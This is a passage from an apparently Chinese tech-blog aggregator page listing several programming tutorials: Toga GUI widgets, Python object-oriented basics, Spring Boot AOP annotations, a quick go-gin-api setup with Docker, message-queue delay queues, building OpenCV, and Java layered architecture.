'),on_double_click:双点击提供的回调函数必须接受两个参数表(obj:“表”)和行(' '行' '或' '没有' '), 5.missing_value:缺省值,factory:已经弃用 2.toga.ScrollContainer: 定义一个滚动条,参数详细说明: 1.horizontal:True(为水平,即横向滚动条),False(为垂直,即纵向滚动条) 3.toga.SplitContainer: 定义一个拆分控件,分别展示,参数详细说明: 1.id:指定唯一标识符,style:指定样式, 2.direction:是否水平展示,默认垂直展示,content:切换的内容, 例如:[(left_container, 1), (right_container, 2)] 3.factory:已经弃用 4.toga.Group:定义一个顶部选项卡(菜单),参数详细说明: 1.text:菜单名称,order:指定排序,section:是否部件, 2.parent:指定父级选项卡,label:目前已经弃用 4.系统默认可调用的对象: Group.APP = Group("*", order=0) Group.FILE = Group("File", order=1) Group.EDIT = Group("Edit", order=10) Group.VIEW = Group("View", order=20) Group.COMMANDS = Group("Commands", order=30) Group.WINDOW = Group("Window", order=90) Group.HELP = Group("Help", order=100) 5.toga.Command: 需要调用命令时使用,参数详细说明: 1.action:函数对象,text:标题,shortcut:命令描述,icon:指定展示图标, 2.group:所属的选项卡,section:是否部件,order:指定排序,enabled:是否启用,factory&label:已经弃用 6.app.commands.add: 添加一组命令到commands选项卡中 7.app.main_window(程序主运行窗口).toolbar:工具栏操作,add添加 8.app.main_window.info_dialog: 正常提示弹窗,error_dialog:错误提示弹窗 构建一个浏览器 尽管可以构建复杂的 GUI 布局,但您可以使用现代平台上原生的丰富组件,用很少的代码获得很多功能 示例代码 import toga from toga.style.pack import CENTER, COLUMN, ROW, Pack class Graze(toga.App): def startup(self): self.main_window = toga.MainWindow(title=self.name) self.webview = toga.WebView( on_webview_load=self.on_webview_loaded, style=Pack(flex=1) ) self.url_input = toga.TextInput( value="https://beeware.org/", style=Pack(flex=1) ) box = toga.Box( children=[ toga.Box( children=[ self.url_input, toga.Button( "Go", on_press=self.load_page, style=Pack(width=50, padding_left=5), ), ], style=Pack( direction=ROW, alignment=CENTER, padding=5, ), ), self.webview, ], style=Pack(direction=COLUMN), ) self.main_window.content = box self.webview.url = self.url_input.value # Show the main window self.main_window.show() def load_page(self, widget): self.webview.url = self.url_input.value def on_webview_loaded(self, widget): self.url_input.value = self.webview.url def main(): return Graze("Graze", "org.beeware.graze") if name == "main": main().main_loop() 在此示例中,您可以看到一个应用程序被开发为一个类,而不是一个构建方法。 您还可以看到以声明方式定义的框 - 如果您不需要保留对特定小部件的引用,您可以内联定义一个小部件,并将其作为参数传递给框,它将成为那个盒子。 详细说明 1.toga.WebView: 指定一个web页面 打造独家app 1.添加图标 2.下一步
2024-01-19
255
0
0
网络聚合
2024-01-19
Python基础之面向对象
Python基础之面向对象 引言,学习面向对象之前先讨论一下编程思想 目前我们学了两种编程思想。一是面向过程编程即流程,面向过程就是按照固定的解决流程解决问题,比如编写注册功能、登录功能、转账功能等,需要列举出每一步的流程,并且随着步骤的深入问题的解决思路越来越简单,然后指定出该问题的解决方案,用函数关键字def来完成面向过程的编程。二是面向对象编程,有点类似于造物主的感觉 只需要造出一个个对象至于该对象将来会如何发展跟程序员没有关系也无法控制,比如游戏人物。用关键字class来定义出类来完成面向对象的编程。这两种编程思想没有优劣之分需要结合实际需求而定、实际上这两种编程思想是彼此交融的只是占比不同。如果需求是注册登录 人脸识别那肯定使用用面向过程更合适。如果需求是游戏人物肯定是面向对象更合适。面向对象并不是一门新的技术为了好区分定义出来了独有的语法格式。那么本篇文章接下来详细的研究一下编程思想之一面向对象。 一、面向对象之类与对象 对象:数据与功能的结合体 是面向对象的核心 必须先定义出类才能用对象 类:多个对象相同数据和功能的结合体 主要是为了节省代码 1.类与对象的创建以及调用 class 类名: '''代码注释''' 对象公共的数据 对象公共的功能 """ class 是定义类的官关键字 类名的命名跟变量名几乎一直 但是要首字母大写 数据是变量名与数据值得绑定 功能是方法其实就是函数 """ 类在定义阶段就会执行类体代码 但是属于类的局部名称空间 外界无法直接调用 类和对象访问数据或者功能 可以统一采用句点符 类名加括号就会产生对象 并且每执行一次都会产生一个全新的对象 2.对象独有的数据和功能 '''对象独有数据''' 1.直接利用对象点名字的方式 obj1 = Student() obj1.dict['name'] = 'almira' obj1.age = 18 obj2 = Student() obj2.dict['name'] = 'Alina' obj2.age = 29 2.将添加对象独有数据的代码封装成函数 def init(obj,name,age): obj.name = name # obj.dict['name'] = name obj.age = age # obj.dict['age'] = age 3.将上述方法绑定给特定类的对象 class Student: def init(obj,name,age): obj.name = name # obj.dict['name'] = name obj.age = age # obj.dict['age'] = age 4.自动触发的方法 class Student: def init(self,name,age): self.name = name # obj.dict['name'] = name self.age = age # obj.dict['age'] = age 5.类中如果有双下init方法 意味着类加括号需要传参数 obj = Student('almira', 18) '''对象独有的功能''' 1.也是直接在全局定义函数 然后给对象 def func():pass obj = Student() obj.func = func 2.面向对象的思想 放到类中 3.对象的绑定方法 类中定义的方法既可以说是对象公共的方法 也可以是对象独有的方法 哪个对象来调用 谁就是主人公 二、动静态方法 在类体中定义函数的三种方式 1.类中直接定义函数 默认绑定给对象 类调用有几个参数传几个阐述 对象调用第一个参数就是对象自身 class Student: shcool_name = '天津财经大学' def func1(self): print('天才学子') obj = Student() # 1.绑定给对象的方法 obj.func1() Student.func1(123) 2.被@classmethod修饰的函数 默认绑定给类 类调用第一个参数就是类自身 对象也可以调用并且会自动将产生该对象的类当做第一个参数传入 class Student: school_name = '天津财经大学' @classmethod def func2(cls): print('是不是蒙了呢', cls) obj = Student() # 2.绑定给类的方法 Student.func2() # fun2(Student) obj.func2() # func2(Student) 3.普普通通的函数 无论是类还是对象调用 都必须自己手动传参 class Student: school_name = '天津财经大学' @staticmethod def func3(a): print('哈哈哈,我很烦',a) obj = Student() # 1.静态方法 Student.func3(123) obj.func3(321) 三、面向对象三大特征之继承 1.继承的含义 在编程世界中继承表示类与类之间资源的从属关系 比如 类A继承类B 2.继承的目的 在编程世界中类A继承类B就拥有了类B中所有的数据和方法使用权 3.继承得本质 继承的本质就是对某一批类的抽象,从而实现对现实世界更好的建模 4.继承的实操 class Son(Father): pass '''括号里面可以写其他类名Son就继承了Father''' # 继承其他类的类 Son 称为子类派生类 class Son(F1, F2, F3): pass '''可以多继承 在括号内的类名用逗号隔开即可''' # 被继承的类 Father F1, F2, F3 称为父类、基类、超类 5.名字的查找顺序 不继承:对象自身>>>产生对象的类 单继承:对象自身>>>产生对象的类>>>类的父类们 多继承:对象自身>>>产生对象的类>>>类的父类们 四、面向对象三大特征之封装 封装:就是将数据和功能'封装'起来 隐藏:将数据和功能隐藏起来不让用户直接调用 而是开发一些接口间接调用从而可以在接口内添加额外的操作 伪装:将类里面的方法伪装成类里面的数据 class C1: __name = 'almira' def __func(self):pass '''也有可能会出现单个下划线开头的变量名也表示隐藏的意思或者没有''' class C2: @property def BMI(self):pass 五、面向对象三大特征之多态 多态其实就是一种事物的多种形态 面向对象中的多态的意思是 一种事物可以有多种形态但是针对相同的功能应该定义相同的用法 这样无论拿到的是那个具体的事物 都可以通过相同的方法调用功能 '''多个类如果有相似之处 那么里面针对相似的功能应该起相同的名字''' class Memory: def read(self):pass class Disk: def read(self):pass '''鸭子类型实际案例''' class QQ: def send(self):pass class Wechat:pass def send(self):pass class Email:pass def send(self):pass class Msg:pass def send(self):pass 六、面向对象之反射 反射是指利用字符串操作对象的数据或方法,从另一个角度分析的话反射能够将面向对象的代码与用交互起来 hasattr() 判断对象是否含有某个字符串对应的属性名或方法名 getattr() 根据字符串获取对象对应的属性名或方法名 setattr() 根据字符串对象设置或修改数据 delattr() 根据字符串删除对象里面的名字 七、面向对象的魔法方法 魔法方法:类中定义的双下方法 不需要人为调用 在特定的条件下会自动触发运行 比如双下init方法创建空对象之后自动触发给对象添加独有的数据如下列举出来了一些魔法方法名称个、和它的功能解释 __init__ 对象添加独有的数据的时候自动触发 __str__ 对象被执行打印操作的时候自动触发 __call__ 对象加括号调用的时候自动触发 __getattr__ 对象点不存在的名字的时候自动触发 __getatribute__ 对象点名字就会自动触发 __setattr__ 给对象添加或者修改数据的时候自动触发 __enter__ 当对象被当做with上下文管理操作的开始自动触发 __exit__ 当with上下文管理语法运行完毕之后自动触发 __new__ 可以产生空对象 __dict__ 以字典方式打印所有属性 八、创建类的两种方式 # 方式1:使用关键字class class Student: school_name = '天津财经大学' def func1(self):pass print(Student) print(Student.__dict__) # 方式2:使用元类type 格式:type(类名,类的父类,类的名称空间) cls = type('Student', (object,), {'name': 'almira'}) print(cls) print(cls.dict)
2024-01-19
257
0
0
网络聚合
2024-01-19
Springboot整合AOP和注解,实现丰富的切面功能
简介 我们在文章《Spring AOP与AspectJ的对比及应用》介绍了AOP的使用,这篇文章讲解一下AOP与注解的整合,通过注解来使用AOP,会非常方便。为了简便,我们还是来实现一个计时的功能。 整合过程 首先创建一个注解: @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) public @interface PkslowLogTime { } 然后在一个Service中使用注解: @Service @Slf4j public class TestService { @PkslowLogTime public void fetchData() { log.info("fetchData"); try { Thread.sleep(500); } catch (InterruptedException e) { throw new RuntimeException(e); } } } 这个Service的方法会在Controller中调用: @GetMapping("/hello") public String hello() { log.info("------hello() start---"); test(); staticTest(); testService.fetchData(); log.info("------hello() end---"); return "Hello, pkslow."; } 接着是关键一步,我们要实现切面,来找到注解并实现对应功能: @Aspect @Component @Slf4j public class PkslowLogTimeAspect { @Around("@annotation(com.pkslow.springboot.aop.PkslowLogTime) && execution(* *(..))") public Object doAround(ProceedingJoinPoint joinPoint) throws Throwable { log.info("------PkslowLogTime doAround start------"); MethodSignature methodSignature = (MethodSignature) joinPoint.getSignature(); // Get intercepted method details String className = methodSignature.getDeclaringType().getSimpleName(); String methodName = methodSignature.getName(); // Measure method execution time StopWatch stopWatch = new StopWatch(className + "->" + methodName); stopWatch.start(methodName); Object result = joinPoint.proceed(); stopWatch.stop(); // Log method execution time log.info(stopWatch.prettyPrint()); log.info("------PkslowLogTime doAround end------"); return result; } } @Around("@annotation(com.pkslow.springboot.aop.PkslowLogTime) && execution(* *(..))")这个表达式很关键,如果不对,将无法正确识别;还有可能出现多次调用的情况。多次调用的情况可以参考:Stackoverflow 这里使用了Spring的StopWatch来计时。 测试 通过maven build包: $ mvn clean package 日志可以看到有对应的织入信息: [INFO] Join point 'method-execution(java.lang.String com.pkslow.springboot.controller.TestController.hello())' in Type 'com.pkslow.springboot.controller.TestController' (TestController.java:22) advised by around advice from 'com.pkslow.springboot.aop.ControllerAspect' (ControllerAspect.class(from ControllerAspect.java)) [INFO] Join point 'method-execution(java.lang.String com.pkslow.springboot.controller.TestController.hello())' in Type 'com.pkslow.springboot.controller.TestController' (TestController.java:22) advised by before advice from 'com.pkslow.springboot.aop.ControllerAspect' (ControllerAspect.class(from ControllerAspect.java)) [INFO] Join point 'method-execution(void com.pkslow.springboot.controller.TestController.test())' in Type 'com.pkslow.springboot.controller.TestController' (TestController.java:31) advised by around advice from 'com.pkslow.springboot.aop.ControllerAspect' (ControllerAspect.class(from ControllerAspect.java)) [INFO] Join point 'method-execution(void com.pkslow.springboot.controller.TestController.test())' in Type 'com.pkslow.springboot.controller.TestController' (TestController.java:31) advised by before advice from 'com.pkslow.springboot.aop.ControllerAspect' (ControllerAspect.class(from ControllerAspect.java)) [INFO] Join point 'method-execution(void com.pkslow.springboot.controller.TestController.staticTest())' in Type 'com.pkslow.springboot.controller.TestController' (TestController.java:37) advised by around advice from 'com.pkslow.springboot.aop.ControllerAspect' (ControllerAspect.class(from ControllerAspect.java)) [INFO] Join point 'method-execution(void com.pkslow.springboot.controller.TestController.staticTest())' in Type 'com.pkslow.springboot.controller.TestController' (TestController.java:37) advised by before advice from 'com.pkslow.springboot.aop.ControllerAspect' (ControllerAspect.class(from ControllerAspect.java)) [INFO] Join point 'method-execution(void com.pkslow.springboot.service.TestService.fetchData())' in Type 'com.pkslow.springboot.service.TestService' (TestService.java:12) advised by around advice from 'com.pkslow.springboot.aop.PkslowLogTimeAspect' (PkslowLogTimeAspect.class(from PkslowLogTimeAspect.java)) 启动应用后访问接口,日志如下: 总结 通过注解可以实现很多功能,也非常方便。而且注解还可以添加参数,组合使用更完美了。 代码请看GitHub: https://github.com/LarryDpk/pkslow-samples
2024-01-19
227
0
0
网络聚合
2024-01-19
如何5分钟跑起来一个完整项目?
今天熊哥和大家聊聊,我怎么在5分钟之内生成一个完整的项目。 效果 看看这个面板,这居然是我花了5分钟成功跑起来的项目。 竟然具备超过三十项功能。还可以直接在页面上生成代码。 它是什么?它是 go-gin-api 它支持哪些功能? 可能下面有一些功能你没听过,或者听不懂。没关系,先看看。我以后都会讲。 支持 rate 接口限流 支持 panic 异常时邮件通知 支持 cors 接口跨域 支持 Prometheus 指标记录 支持 Swagger 接口文档生成 支持 GraphQL 查询语言 支持 trace 项目内部链路追踪 支持 pprof 性能剖析 支持 errno 统一定义错误码 支持 zap 日志收集 支持 viper 配置文件解析 支持 gorm 数据库组件 支持 go-redis 组件 支持 RESTful API 返回值规范 支持 生成数据表 CURD、控制器方法 等代码生成器 支持 cron 定时任务,在后台可界面配置 支持 websocket 实时通讯,在后台有界面演示 支持 web 界面,使用的 Light Year Admin 模板 不懂的关键字,如果感兴趣也可以自己下来查查我的宝。 三行代码跑起来 git clone https://github.com/xinliangnote/go-gin-api.git cd go-gin-api go run main.go -env dev 跑完以后立马就会弹出一个页面。 不得不说go-gin-api的作者实在想得周全,跑起来不报错,会提示你填写环境信息。 现在已经过了1分钟了,熊哥还有4分钟。 3分钟启一个环境 既然面板提示需要mysql和redis,立马打开hub.docker.com 搜索mysql和redis获得他们的启动命令。 docker容器,可以最快速在本地提供开发环境。不懂就问熊哥 直接在概述里拿到最简单的启动命令如下。 docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag docker run --name some-redis -d redis 稍做修改,加一下密码。 docker run --name mysql-bear -p 3307:3306 -e MYSQL_ROOT_PASSWORD=mysql-bear -d mysql:latest docker run --name redis-bear -p 6479:6379 -d redis docker ps可看到环境搞定了。 我这里把端口映射到主机上了,用的3307、6479 不然端口只能在容器之间能访问。 redis没有密码,mysql密码是mysql-bear。 最后1分钟 项目要求先建库。 docker exec -it mysql-bear mysql -pmysql-bear -e "create database bear_gin_db CHARACTER SET utf8 COLLATE utf8_general_ci;" 我直接把用户名密码写命令行了,为了安全建议密码不要写命令行,会要求输入。 创建了名为bear_gin_db的库,字符集是utf8。 点击初始化项目,在本地重启项目。 go run main.go -env dev 成功啦 后面给大家分别讲解各种概念,和go-gin-api怎么使用。欢迎和我讨论。希望大家真的能快速上手做项目。 一起进步 你好,我是小熊,是一个爱技术但是更爱钱的程序员。上进且佛系自律的人。喜欢发小秘密/臭屁又爱炫耀。 奋斗的大学,激情的现在。赚了钱买了房,写了书出了名。当过面试官,带过徒弟搬过转。 大厂外来务工人员。是我,我是小熊,是不一样的烟火欢迎围观。 我的博客 机智的程序员小熊 欢迎收藏
2024-01-19
193
0
0
网络聚合
2024-01-19
RabbitMQ、RocketMQ、Kafka延迟队列实现
延迟队列在实际项目中有非常多的应用场景,最常见的比如订单未支付,超时取消订单,在创建订单的时候发送一条延迟消息,达到延迟时间之后消费者收到消息,如果订单没有支付的话,那么就取消订单。 那么,今天我们需要来谈的问题就是RabbitMQ、RocketMQ、Kafka中分别是怎么实现延时队列的,以及他们对应的实现原理是什么? RabbitMQ RabbitMQ本身并不存在延迟队列的概念,在 RabbitMQ 中是通过 DLX 死信交换机和 TTL 消息过期来实现延迟队列的。 TTL(Time to Live)过期时间 有两种方式可以设置 TTL。 通过队列属性设置,这样的话队列中的所有消息都会拥有相同的过期时间 对消息单独设置过期时间,这样每条消息的过期时间都可以不同 那么如果同时设置呢?这样将会以两个时间中较小的值为准。 针对队列的方式通过参数x-message-ttl来设置。 Map<String, Object> args = new HashMap<String, Object>(); args.put("x-message-ttl", 6000); channel.queueDeclare(queueName, durable, exclusive, autoDelete, args); 针对消息的方式通过setExpiration来设置。 AMQP.BasicProperties properties = new AMQP.BasicProperties(); Properties.setDeliveryMode(2); properties.setExpiration("60000"); channel.basicPublish(exchangeName, routingKey, mandatory, properties, "message".getBytes()); DLX(Dead Letter Exchange)死信交换机 一个消息要成为死信消息有 3 种情况: 消息被拒绝,比如调用reject方法,并且需要设置requeue为false 消息过期 队列达到最大长度 可以通过参数dead-letter-exchange设置死信交换机,也可以通过参数dead-letter- exchange指定 RoutingKey(未指定则使用原队列的 RoutingKey)。 Map<String, Object> args = new HashMap<String, Object>(); args.put("x-dead-letter-exchange", "exchange.dlx"); args.put("x-dead-letter-routing-key", "routingkey"); channel.queueDeclare(queueName, durable, exclusive, autoDelete, args); 原理 当我们对消息设置了 TTL 和 DLX 之后,当消息正常发送,通过 Exchange 到达 Queue 之后,由于设置了 TTL 过期时间,并且消息没有被消费(订阅的是死信队列),达到过期时间之后,消息就转移到与之绑定的 DLX 死信队列之中。 这样的话,就相当于通过 DLX 和 TTL 间接实现了延迟消息的功能,实际使用中我们可以根据不同的延迟级别绑定设置不同延迟时间的队列来达到实现不同延迟时间的效果。 RocketMQ RocketMQ 和 RabbitMQ 不同,它本身就有延迟队列的功能,但是开源版本只能支持固定延迟时间的消息,不支持任意时间精度的消息(这个好像只有阿里云版本的可以)。 他的默认时间间隔分为 18 个级别,基本上也能满足大部分场景的需要了。 默认延迟级别:1s、 5s、 10s、 30s、 1m、 2m、 3m、 4m、 5m、 6m、 7m、 8m、 9m、 10m、 20m、 30m、 1h、 2h。 使用起来也非常的简单,直接通过setDelayTimeLevel设置延迟级别即可。 setDelayTimeLevel(level) 原理 实现原理说起来比较简单,Broker 会根据不同的延迟级别创建出多个不同级别的队列,当我们发送延迟消息的时候,根据不同的延迟级别发送到不同的队列中,同时在 Broker 内部通过一个定时器去轮询这些队列(RocketMQ 会为每个延迟级别分别创建一个定时任务),如果消息达到发送时间,那么就直接把消息发送到指 topic 队列中。 RocketMQ 这种实现方式是放在服务端去做的,同时有个好处就是相同延迟时间的消息是可以保证有序性的。 谈到这里就顺便提一下关于消息消费重试的原理,这个本质上来说其实是一样的,对于消费失败需要重试的消息实际上都会被丢到延迟队列的 topic 里,到期后再转发到真正的 topic 中。 Kafka 对于 Kafka 来说,原生并不支持延迟队列的功能,需要我们手动去实现,这里我根据 RocketMQ 的设计提供一个实现思路。 这个设计,我们也不支持任意时间精度的延迟消息,只支持固定级别的延迟,因为对于大部分延迟消息的场景来说足够使用了。 只创建一个 topic,但是针对该 topic 创建 18 个 partition,每个 partition 对应不同的延迟级别,这样做和 RocketMQ 一样有个好处就是能达到相同延迟时间的消息达到有序性。 原理 首先创建一个单独针对延迟队列的 topic,同时创建 18 个 partition 针对不同的延迟级别 发送消息的时候根据延迟参数发送到延迟 topic 对应的 partition,对应的key为延迟时间,同时把原 topic 保存到 header 中 ProducerRecord<Object, Object> producerRecord = new ProducerRecord<>("delay_topic", delayPartition, delayTime, data); producerRecord.headers().add("origin_topic", topic.getBytes(StandardCharsets.UTF_8)); 内嵌的consumer单独设置一个ConsumerGroup去消费延迟 topic 消息,消费到消息之后如果没有达到延迟时间那么就进行pause,然后seek到当前ConsumerRecord的offset位置,同时使用定时器去轮询延迟的TopicPartition,达到延迟时间之后进行resume 如果达到了延迟时间,那么就获取到header中的真实 topic ,直接转发 这里为什么要进行pause和resume呢?因为如果不这样的话,如果超时未消费达到max.poll.interval.ms 最大时间(默认300s),那么将会触发 Rebalance。
2024-01-19
256
0
0
网络聚合
2024-01-19
史上最简单 OpenCV for C++ 在 Windows 和 Ubuntu 上编译安装使用教程
准备工作 原材料 Ubuntu 系统(非必须,Windows 也可以,主要是 Ubuntu 适合编译) OpenCV 3.4.1 压缩包 OpenCV contrib 3.4.1 压缩包 MinGW(Windows 上运行 GCC) 版本信息 GCC 版本 7.5.0 G++ 版本 7.5.0 OpenCV 版本 3.4.1 Cmake 版本 3.10 编译组件和依赖包的安装(Windows 请跳过) sudo apt install -y build-essential ccache cmake doxygen g++ gcc git libavcodec-dev libavformat-dev libavresample-dev libdc1394-22-dev libgphoto2-dev libgtk2.0-dev libjasper-dev libjpeg-dev libjpeg.dev libopenblas-base libopenblas-dev libpng-dev libswscale-dev libtbb2 libtbb-dev libtiff-dev libtiff5.dev libv4l-dev libvtk5-dev libvtk6-dev openjdk-8-jdk pkg-config pylint python-dev python-numpy qt5-default 下载并解压 OpenCV 和 OpenCV Contrib # Ubuntu 命令行 和 Ubuntu 桌面 wget https://github.com/opencv/opencv/archive/3.4.1.zip wget https://github.com/opencv/opencv_contrib/archive/refs/tags/3.4.1.zip unzip opencv-3.4.1.zip unzip opencv_contrib-3.4.1.zip Windows 和 Ubuntu 桌面端直接下载解压就好了 编译 OpenCV 源码 Ubuntu 命令行 cmake 命令行编译安装 # 新建编译文件夹 mkdir opencv-3.4.1-build 通过 cd 命令进入编译文件夹 cd opencv-3.4.1-build CMAKE_INSTALL_PREFIX 是 OpenCV 的安装位置 OPENCV_EXTRA_MODULES_PATH 是 opencv_contrib-3.4.1 的 modules 文件夹 cmake -D CMAKE_BUILD_TYPE=Release -D CMAKE_INSTALL_PREFIX=/usr/local -D OPENCV_EXTRA_MODULES_PATH=/home/ahtelek/OpenCV/opencv_contrib-3.4.1/modules/ -D BUILD_TIFF=ON .. make 编译,也可以使用 make -j、make -j8、make -j16 等命令速度会稍快一些 sudo make 安装 sudo make install Ubuntu 桌面端和 Windows cmake-gui + cmake 编译安装 选择好 OpenCV 源码和 OpenCV 编译文件夹 就可以选择 Configure 选择 MinGW Makefiles 复选框选择第二个 这是 MinGW 中 bin 目录下的 gcc.exe 和 g++.exe 文件 选择 Finish 等他跑完 搜索栏搜索 extra 选择 opencv-contrib 下的 modules 再点击 Configure,配置完成点击 Generate。 一直到显示 Configuring done Generating done Win+R cmd cd 到编译文件夹里 输入 MinGW32-make 开始编译,也可以使用 make -j、make -j8、make -j16 等命令速度会稍快一些 编译完成后,再输入 MinGW32-make install 进行安装 编译太慢了就不展示了(下面展示的是 Ubuntu 的) 用别人已经编译好的 GitHub 仓库中有人提供已经编译好的 OpenCV,可以通过 Configuration 看到用了什么编译器、操作系统、cmake 版本 https://github.com/huihut/opencv-mingw-build https://github.com/huihut/OpenCV-MinGW-Build/releases
2024-01-19
799
0
0
网络聚合
2024-01-19
【架构设计】你的应用该如何分层呢?
前言 最近review公司的代码,发现现在整个代码层级十分混乱,一个service类的长度甚至达到了5000多行。而且各种分层模型DTO、VO乱用, 最终出现逻辑不清晰、各模块相互依赖、代码扩展性差、改动一处就牵一发而动全身等问题。 我们在吸取了阿里巴巴的分层规范以及网上的一些经验后,重新梳理总结了属于我们项目的分层规范。 欢迎关注个人公众号『JAVA旭阳』交流沟通 三层架构VS四层架构 我们公司原来的分层采用的是传统的三层架构,比如在构建项目的时候,我们通常会建立三个目录:Web、Service 和 Dao,它们分别对应了表现层、逻辑层还有数据访问层。 这样导致一个很大的问题,随着业务越来越复杂,逻辑层也就是service层越来越庞大,所以出现了前面说的5000多行的类,可想而知维护成本有多大。 参照阿里发布的《阿里巴巴 Java 开发手册 v1.4.0(详尽版)》,我们可以将原先的三层架构细化成下面的样子: 终端显示层:各端模板渲染并执行显示的层。当前主要是 Velocity 渲染,JS 渲染, JSP 渲染,移动端展示等。 开放接口层:将 Service 层方法封装成开放接口,同时进行网关安全控制和流量控制等。 Web 层:主要是对访问控制进行转发,各类基本参数校验,或者不复用的业务简单处理等。 Service 层:业务逻辑层。 Manager 层:通用业务处理层。主要实现下面的功能,1) 对第三方平台封装的层,预处理返回结果及转化异常信息,适配上层接口。2) 对 Service 层通用能力的下沉,如缓存方案、中间件通用处理。3) 与 DAO 层交互,对多个 DAO 的组合复用。 DAO 层:数据访问层,与底层 MySQL、Oracle、Hbase 等进行数据交互。 外部接口或第三方平台:包括其它部门 RPC 开放接口,基础平台,其它公司的 HTTP 接口。 在这个分层架构中主要增加了 Manager 层,它可以将Service层中的一些通用能力比如操作缓存、消息队列的操作下沉,也可以将通过feign调用其他服务的接口进行一层包装,再提供给Service调用,这也就是所谓的防腐层。 VO、DTO、BO、DO区别 前面讲解了整体的一个分层架构,那么在不同的层级之间必然需要一些模型对象进行流转传递,VO,BO,DO,DTO, 那么他们之间有什么区别呢? VO(View Object):视图对象,用于展示层,它的作用是把某个指定页面(或组件)的所有数据封装起来。 DTO(Data Transfer Object):数据传输对象,用于展示层与服务层之间的数据传输对象。 BO(Business Object):业务对象,把业务逻辑封装为一个对象,这个对象可以包括一个或多个其它的对象。 DO(Domain Object):领域对象,阿里巴巴规范中引入,此对象与数据库表结构一一对应,通过 DAO 层向上传输数据源对象。 VO和DTO什么区别? VO比较容易混淆的是DTO,DTO是展示层与服务层之间传递数据的对象,可以这样说,对于绝大部分的应用场景来说,DTO和VO的属性值基本是一致的,而且他们通常都是POJO,那么既然有了VO,为什么还需要DTO呢? 例如服务层有一个getUser的方法返回一个系统用户,其中有一个属性是gender(性别),对于服务层来说,它只从语义上定义:1-男性,2-女性,0-未指定,而对于展示层来说,它可能需要用“帅哥”代表男性,用“美女”代表女性,用“秘密”代表未指定。说到这里,可能你还会反驳,在服务层直接就返回“帅哥美女”不就行了吗?对于大部分应用来说,这不是问题,但设想一下,如果需求允许客户可以定制风格,而不同风格对于“性别”的表现方式不一样,又或者这个服务同时供多个客户端使用(不同门户),而不同的客户端对于表现层的要求有所不同,那么,问题就来了。再者,回到设计层面上分析,从职责单一原则来看,服务层只负责业务,与具体的表现形式无关,因此,它返回的DTO,不应该出现与表现形式的耦合。 BO和DTO的区别? 从用途上进行根本的区别,BO是业务对象,DTO是数据传输对象,虽然BO也可以排列组合数据,但它的功能是对内的,但在提供对外接口时,BO对象中的某些属性对象可能用不到或者不方便对外暴露,那么此时DTO只需要在BO的基础上,抽取自己需要的数据,然后对外提供。在这个关系上,通常不会有数据内容的变化,内容变化要么在BO内部业务计算的时候完成,要么在解释VO的时候完成。 我们项目根据实际情况总结了分层领域模型的规范: 前端传入的参数统一使用DTO接收 由于公司是TO B项目,只有一个电脑web端,所以返回给展示层或者Feign返回的对象建议直接用DTO返回,特殊情况采用VO返回 由于历史原因,和数据库模型对应的不采用DO结尾,直接用原始对象,比如学生表student直接使用Student对象 目前很多代码存在继承关系,比如DTO、VO继承数据库对象,这个坚决不允许 项目目录结构最佳实践 可以参考github上面的https://github.com/alvinlkk/mall4cloud这个项目,它是一个极度遵守阿里巴巴代码规约的项目。 这里面有个关于Feign设计的亮点, 主要是为了避免服务提供方修改了接口,而调用方没有修改导致异常的问题。 将feign接口抽取出一个独立的模块 服务中依赖feign模块,实现FeignClient 我们来看下整体的一个结构。 mall4cloud ├─mall4cloud-api -- 内网接口 │ ├─mall4cloud-api-auth -- 授权对内接口 │ ├─mall4cloud-api-biz -- biz对内接口 │ ├─mall4cloud-api-leaf -- 美团分布式id生成接口 │ ├─mall4cloud-api-multishop -- 店铺对内接口 │ ├─mall4cloud-api-order -- 订单对内接口 │ ├─mall4cloud-api-platform -- 平台对内接口 │ ├─mall4cloud-api-product -- 商品对内接口 │ ├─mall4cloud-api-rbac -- 用户角色权限对内接口 │ ├─mall4cloud-api-search -- 搜索对内接口 │ └─mall4cloud-api-user -- 用户对内接口 ├─mall4cloud-auth -- 授权校验模块 ├─mall4cloud-biz -- mall4cloud 业务代码。如图片上传/短信等 ├─mall4cloud-common -- 一些公共的方法 │ ├─mall4cloud-common-cache -- 缓存相关公共代码 │ ├─mall4cloud-common-core -- 公共模块核心(公共中的公共代码) │ ├─mall4cloud-common-database -- 数据库连接相关公共代码 │ ├─mall4cloud-common-order -- 订单相关公共代码 │ ├─mall4cloud-common-product -- 商品相关公共代码 │ ├─mall4cloud-common-rocketmq -- rocketmq相关公共代码 │ └─mall4cloud-common-security -- 安全相关公共代码 ├─mall4cloud-gateway -- 网关 ├─mall4cloud-leaf -- 基于美团leaf的生成id服务 ├─mall4cloud-multishop -- 商家端 ├─mall4cloud-order -- 订单服务 ├─mall4cloud-payment -- 支付服务 ├─mall4cloud-platform -- 平台端 ├─mall4cloud-product -- 商品服务 ├─mall4cloud-rbac -- 用户角色权限模块 ├─mall4cloud-search -- 搜索模块 └─mall4cloud-user -- 用户服务 结束语 关于应用分层这块我觉得没那么简单,特别是团队大了以后,人员水平参差不齐,很难约束,很容易自由发挥,各写各的。不知道大家有没有什么好的办法呢? 欢迎关注个人公众号『JAVA旭阳』交流沟通
2024-01-19
260
0
0
网络聚合
2024-01-19
分布式协议与算法-Raft算法
